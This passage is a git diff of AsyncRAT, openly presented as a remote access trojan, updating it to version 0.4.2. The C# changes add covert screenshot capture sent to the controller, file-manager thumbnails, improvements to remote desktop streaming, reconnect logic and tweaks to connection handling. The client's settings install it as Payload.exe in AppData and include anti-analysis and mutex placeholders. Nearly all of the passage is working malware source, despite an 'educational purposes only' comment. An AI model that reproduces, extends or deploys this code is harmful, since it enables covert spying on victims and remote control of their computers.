ResourceManager.GetObject("process", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap remotedesktop { + get { + object obj = ResourceManager.GetObject("remotedesktop", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap stop__1_ { + get { + object obj = ResourceManager.GetObject("stop (1)", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -113,5 +233,45 @@ namespace AsyncRAT_Sharp.Properties { return ((byte[])(obj)); } } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap tomem { + get { + object obj = ResourceManager.GetObject("tomem", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap tomem1 { + get { + object obj = ResourceManager.GetObject("tomem1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap usb { + get { + object obj = ResourceManager.GetObject("usb", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap visit { + get { + object obj = ResourceManager.GetObject("visit", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index 90fb67f..5faaf1f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -118,19 +118,67 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\play-button.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\cGeoIp.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\Resources\Plugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + ..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\info.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\filemanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\usb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Plugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\msgbox.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\Stub.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 9ad7992..f2fc8d2 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png new file mode 100644 index 0000000..8e2f4af Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png new file mode 100644 index 0000000..a896b01 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif new file mode 100644 index 0000000..b045500 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png new file mode 100644 index 0000000..b8987c1 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png new file mode 100644 index 0000000..ff20abb Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png new file mode 100644 index 0000000..0cf8090 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png new file mode 100644 index 0000000..1e786d9 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png new file mode 100644 index 0000000..c976df7 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png new file mode 100644 index 0000000..ef35dbe Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png new file mode 100644 index 0000000..09ddb30 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png new file mode 100644 index 0000000..60ba538 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png new file mode 100644 index 0000000..7aa0e8a Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png new file mode 100644 index 0000000..9faa447 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png new file mode 100644 index 0000000..9faa447 Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png new file mode 100644 index 0000000..6add42c Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png new file mode 100644 index 0000000..3a78e1e Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 2ea73c2..37713f0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -12,8 +12,8 @@ namespace AsyncRAT_Sharp public static long Sent { get; set; } public static long Received { get; set; } public static string Password { get; set; } - public static Aes256 aes256{ get; set; } + public static Aes256 AES{ get; set; } - public static readonly string Version = "AsyncRAT 0.4.1"; + public static readonly string Version = "AsyncRAT 0.4.2"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 9ff3db8..b863b16 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -7,6 +7,7 @@ using System.Security.Cryptography; using System.Drawing; using System.Diagnostics; using System.Threading; +using AsyncRAT_Sharp.MessagePack; namespace AsyncRAT_Sharp.Sockets { @@ -14,50 +15,21 @@ namespace AsyncRAT_Sharp.Sockets { public Socket ClientSocket { get; set; } public ListViewItem LV { get; set; } + public ListViewItem LV2 { get; set; } public string ID { get; set; } - - private byte[] ClientBuffer; - private int ClientBuffersize; - private bool ClientBufferRecevied; - private MemoryStream ClientMS; - private object SendSync; - private object EndSendSync; - public int BytesRecevied; + private byte[] ClientBuffer { get; set; } + private int ClientBuffersize { get; set; } + private bool ClientBufferRecevied { get; set; } + private MemoryStream ClientMS { get; set; } + public object SendSync { get; } = new object(); + private object EndSendSync { get; } = new object(); + public int BytesRecevied { get; set; } public Clients(Socket socket) { - if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) - { - Disconnected(); - return; - } - - int count = 0; - lock (Settings.Online) - { - foreach (Clients client in Settings.Online) - { - if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) - count++; - } - } - - if (count >= 5) - { - Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); - HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); - Disconnected(); - return; - } - ClientSocket = socket; ClientBuffer = new byte[4]; - ClientBufferRecevied = false; ClientMS = new MemoryStream(); - LV = null; - SendSync = new object(); - EndSendSync = new object(); - BytesRecevied = 0; ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null); } @@ -75,7 +47,7 @@ namespace AsyncRAT_Sharp.Sockets int Recevied = ClientSocket.EndReceive(ar); if (Recevied > 0) { - if (ClientBufferRecevied == false) + if (!ClientBufferRecevied) { await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); @@ -97,7 +69,7 @@ namespace AsyncRAT_Sharp.Sockets { try { - ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this }); + ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.AES.Decrypt(ClientMS.ToArray()), this }); } catch (CryptographicException) { @@ -160,20 +132,15 @@ namespace AsyncRAT_Sharp.Sockets { lock (SendSync) { - if (ClientSocket == null) - { - Disconnected(); - return; - } - if (!ClientSocket.Connected) - { - Disconnected(); - return; - } - try { - byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); + if (!ClientSocket.Connected) + { + Disconnected(); + return; + } + + byte[] buffer = Settings.AES.Encrypt((byte[])Msgs); byte[] buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); @@ -189,12 +156,18 @@ namespace AsyncRAT_Sharp.Sockets } } - public void EndSend(IAsyncResult ar) + private void EndSend(IAsyncResult ar) { lock (EndSendSync) { try { + if (!ClientSocket.Connected) + { + Disconnected(); + return; + } + int sent = 0; sent = ClientSocket.EndSend(ar); Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///"); @@ -207,5 +180,29 @@ namespace AsyncRAT_Sharp.Sockets } } } + + public void Ping(object obj) + { + lock (SendSync) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = "This is a ping!"; + byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + ClientSocket.Poll(-1, SelectMode.SelectWrite); + ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + Disconnected(); + return; + } + } + + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 5bab6ad..fc4aeb7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -4,6 +4,7 @@ using System; using System.Windows.Forms; using System.Drawing; using AsyncRAT_Sharp.Handle_Packet; +using System.Linq; namespace AsyncRAT_Sharp.Sockets { @@ -39,12 +40,57 @@ namespace AsyncRAT_Sharp.Sockets { try { - Clients client = new Clients(Server.EndAccept(ar)); + Socket socket = Server.EndAccept(ar); + if (IsDublicated(socket)) + { + socket.Dispose(); + } + else + { + new Clients(socket); + } } finally { Server.BeginAccept(EndAccept, null); } } + + private bool IsDublicated(Socket socket) + { + if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) + { + return true; + } + + int count = 0; + foreach (Clients client in Settings.Online.ToList()) + { + if (client.LV != null) + { + if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) + count++; + } + } + + if (count > 4) + { + Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); + HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); + foreach (Clients client in Settings.Online.ToList()) + { + if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null) + { + try + { + client.Disconnected(); + } + catch { } + } + } + return true; + } + return false; + } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs index 6f53ea1..ed58441 100644 --- a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs @@ -13,7 +13,6 @@ namespace Client.Handle_Packet { class FileManager { - public void GetDrivers() { DriveInfo[] allDrives = DriveInfo.GetDrives(); @@ -46,13 +45,10 @@ namespace Client.Handle_Packet } foreach (string file in Directory.GetFiles(path)) { - Icon icon = Icon.ExtractAssociatedIcon(file); - Bitmap bmpIcon = icon.ToBitmap(); - long length = new FileInfo(file).Length; using (MemoryStream ms = new MemoryStream()) { - bmpIcon.Save(ms, ImageFormat.Png); - sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + length.ToString() + "-=>"); + GetIcon(file).Save(ms, ImageFormat.Png); + sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>"); } } msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); @@ -60,6 +56,27 @@ namespace Client.Handle_Packet ClientSocket.BeginSend(msgpack.Encode2Bytes()); } + private Bitmap GetIcon(string file) + { + try + { + if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp")) + { + using (Image thumb = Image.FromFile(file).GetThumbnailImage(64, 64, () => false, IntPtr.Zero)) + { + return new Bitmap(thumb); + } + } + Icon icon = Icon.ExtractAssociatedIcon(file); + Bitmap bmpIcon = icon.ToBitmap(); + return bmpIcon; + } + catch + { + return new Bitmap(64, 64); + } + } + public void DownnloadFile(string file, string dwid) { try diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index dc957ea..4dd7bf1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -4,6 +4,8 @@ using Client.Sockets; using Microsoft.Win32; using System; using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; using System.IO; using System.Net.Sockets; using System.Threading; @@ -33,6 +35,13 @@ namespace Client.Handle_Packet } break; + + case "thumbnails": + { + GetScreenShot(); + } + break; + case "sendFile": { Received(); @@ -108,18 +117,8 @@ namespace Client.Handle_Packet { switch (unpack_msgpack.ForcePathObject("Option").AsString) { - case "false": - { - //if (RemoteDesktop.RemoteDesktopStatus == false) return; - // RemoteDesktop.RemoteDesktopStatus = false; - } - break; - case "true": { - // if (RemoteDesktop.RemoteDesktopStatus == true) return; - // RemoteDesktop.RemoteDesktopStatus = true; - // RemoteDesktop.CaptureAndSend(); RemoteDesktop remoteDesktop = new RemoteDesktop(); remoteDesktop.CaptureAndSend(); } @@ -236,7 +235,6 @@ namespace Client.Handle_Packet } } break; - } } catch { } @@ -280,6 +278,22 @@ namespace Client.Handle_Packet } } + private static void GetScreenShot() + { + Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); + using (Graphics g = Graphics.FromImage(bmp)) + using (MemoryStream memoryStream = new MemoryStream()) + { + g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); + Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero); + thumb.Save(memoryStream, ImageFormat.Jpeg); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); + ClientSocket.BeginSend(msgpack.Encode2Bytes()); + } + bmp.Dispose(); + } } } diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs index 74a006d..c1efba1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs @@ -15,7 +15,6 @@ namespace Client.Handle_Packet { class RemoteDesktop { - //public static bool RemoteDesktopStatus { get; set; } public void CaptureAndSend() { try @@ -27,13 +26,13 @@ namespace Client.Handle_Packet IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); while (Client.Connected) { - if (!ClientSocket.Client.Connected) break; + if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break; Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); - using (MemoryStream stream = new MemoryStream(1000000)) + using (MemoryStream stream = new MemoryStream(10000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) @@ -43,14 +42,12 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - Client.Poll(-1, SelectMode.SelectWrite); Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length)); Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes())); } } bmp.UnlockBits(bmpData); - GC.Collect(); - Thread.Sleep(1); + bmp.Dispose(); } } catch { } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 94f5fbb..f918449 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -5,7 +5,7 @@ using System; using Client.Helper; // │ Author : NYAN CAT -// │ Name : AsyncRAT // Simple Socket +// │ Name : AsyncRAT // Simple RAT // Contact Me : https://github.com/NYAN-x-CAT @@ -34,7 +34,7 @@ namespace Client while (true) { - if (ClientSocket.Connected == false) + if (!ClientSocket.IsConnected) ClientSocket.Reconnect(); Thread.Sleep(1500); } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index caf3e20..61e31fe 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,12 +8,13 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4.1"; + public static readonly string Version = "AsyncRAT 0.4.2"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; public static readonly Aes256 aes256 = new Aes256(Password); public static readonly string MTX = "%MTX%"; public static readonly string Anti = "%Anti%"; + // public static readonly string Anti = "false"; } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 4d2dccf..fce8090 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -1,30 +1,36 @@ -using Client.MessagePack; +using Client.Handle_Packet; +using Client.Helper; +using Client.MessagePack; using Microsoft.VisualBasic.Devices; using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Threading; -using Client.Handle_Packet; -using Client.Helper; + +// │ Author : NYAN CAT +// │ Name : Nyan Socket v0.1 +// │ Contact : https://github.com/NYAN-x-CAT + +// This program is distributed for educational purposes only. namespace Client.Sockets { class ClientSocket { - public static Socket Client { get; set; } private static byte[] Buffer { get; set; } private static long Buffersize { get; set; } private static bool BufferRecevied { get; set; } private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } - private static object SendSync { get; set; } - private static object EndSendSync { get; set; } - public static bool Connected { get; set; } - public static PerformanceCounter theCPUCounter; - public static PerformanceCounter theMemCounter; - public static void InitializeClient() + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + private static object EndSendSync { get; } = new object(); + private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); + + public static void InitializeClient() { try { @@ -38,24 +44,19 @@ namespace Client.Sockets Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Debug.WriteLine("Connected!"); - Connected = true; + IsConnected = true; Buffer = new byte[4]; BufferRecevied = false; MS = new MemoryStream(); - SendSync = new object(); - EndSendSync = new object(); - theCPUCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); - theMemCounter = new PerformanceCounter("Memory", "% Committed Bytes In Use"); - theCPUCounter.NextValue(); + TheCPUCounter.NextValue(); BeginSend(SendInfo()); - TimerCallback T = CheckServer; - Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Debug.WriteLine("Disconnected!"); - Connected = false; + IsConnected = false; } } @@ -84,24 +85,24 @@ namespace Client.Sockets Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; - msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%"; + msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; return msgpack.Encode2Bytes(); } - public static void ReadServertData(IAsyncResult Iar) + public static void ReadServertData(IAsyncResult ar) { try { - if (!Client.Connected) + if (!Client.Connected || !IsConnected) { - Connected = false; + IsConnected = false; return; } - int recevied = Client.EndReceive(Iar); + int recevied = Client.EndReceive(ar); if (recevied > 0) { - if (BufferRecevied == false) + if (!BufferRecevied) { MS.Write(Buffer, 0, recevied); Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); @@ -132,13 +133,13 @@ namespace Client.Sockets } else { - Connected = false; + IsConnected = false; return; } } catch { - Connected = false; + IsConnected = false; return; } } @@ -149,9 +150,9 @@ namespace Client.Sockets { try { - if (!Client.Connected) + if (!Client.Connected || !IsConnected) { - Connected = false; + IsConnected = false; return; } @@ -164,7 +165,7 @@ namespace Client.Sockets } catch { - Connected = false; + IsConnected = false; return; } } @@ -176,9 +177,9 @@ namespace Client.Sockets { try { - if (!Client.Connected) + if (!Client.Connected || !IsConnected) { - Connected = false; + IsConnected = false; return; } @@ -188,7 +189,7 @@ namespace Client.Sockets } catch { - Connected = false; + IsConnected = false; return; } } @@ -196,10 +197,24 @@ namespace Client.Sockets public static void CheckServer(object obj) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%"; - BeginSend(msgpack.Encode2Bytes()); + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + + byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + + Client.Poll(-1, SelectMode.SelectWrite); + Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + Client.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + IsConnected = false; + return; + } } } } diff --git a/README.md b/README.md index 938a2cc..0ffe08f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ - + # AsyncRAT